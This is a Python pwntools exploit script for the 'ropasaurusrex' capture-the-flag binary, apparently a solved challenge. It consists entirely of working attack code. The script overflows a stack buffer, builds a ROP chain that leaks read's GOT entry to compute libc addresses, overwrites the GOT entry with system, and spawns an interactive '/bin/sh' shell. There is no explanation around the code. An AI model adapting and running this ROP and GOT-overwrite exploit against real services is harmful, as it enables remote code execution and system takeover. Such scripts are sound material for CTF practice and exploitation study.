ropasaurusrex.py

from pwn import *
from struct import pack, unpack
from time import sleep

# use own libc_read and libc_system address
libc_read = 0xdb460 # 000db460 <__read>
libc_system = 0x40100  # 00040100 <__libc_system>:

write_plt = 0x804830c # write@plt = 0x804830c
read_plt = 0x804832c # read@plt = 0x804832c
read_got = 0x804961c # <[email protected]>

ret = 0x80482ca
popret = 0x80483c3
pop2ret = 0x80483c2
pop3ret = 0x80484b6
pop4ret = 0x80484b5

data_buf = 0x08049000 # 0x08049000 0x0804a000 rw-p
binsh = '/bin/sh'

t = process('./ropasaurusrex', timeout=1000)
# t = remote('localhost', 2323)

def stage1():
    payload = ''
    payload += 'a' * 140
    payload += pack('<I', write_plt) # write(1, [email protected], 4)
    payload += pack('<I', pop3ret)
    payload += pack('<I', 1)
    payload += pack('<I', read_got)
    payload += pack('<I', 4)
    payload += pack('<I', read_plt) # read(0, databuf, len("/bin/sh")+1)
    payload += pack('<I', pop3ret)
    payload += pack('<I', 0)
    payload += pack('<I', data_buf)
    payload += pack('<I', len(binsh)+1)
    payload += pack('<I', read_plt) # read(0, [email protected], 4)
    payload += pack('<I', pop3ret)
    payload += pack('<I', 0)
    payload += pack('<I', read_got)
    payload += pack('<I', 4)
    payload += pack('<I', read_plt) # system("/bin/sh")
    payload += pack('<I', 0xdeadbeaf)
    payload += pack('<I', data_buf)
    t.sendline(payload)

    
def main():
    print "[*] Stage1 -- sending ROP..."
    stage1()
    sleep(1)
    
    print "[+] Leak address"
    read_addr = unpack('<I', t.recv(4))[0]
    libc_base = read_addr - libc_read 
    system_addr = libc_base + libc_system
    print "  [+] read address: %s" % hex(system_addr)
    print "  [+] libc base address: %s" % hex(libc_base)
    print "  [+] system address: %s" % hex(system_addr)
    sleep(1)

    print "[*] Stage2 -- store /bin/sh in .data"
    t.send(binsh)
    sleep(1)

    print "[*] Stage3 -- GOT Overwrite. To call libc_system, overwrite [email protected]."
    t.send(pack('<I', system_addr))
    sleep(1)
    
    t.interactive()
    t.close()

if __name__ == '__main__':
    main()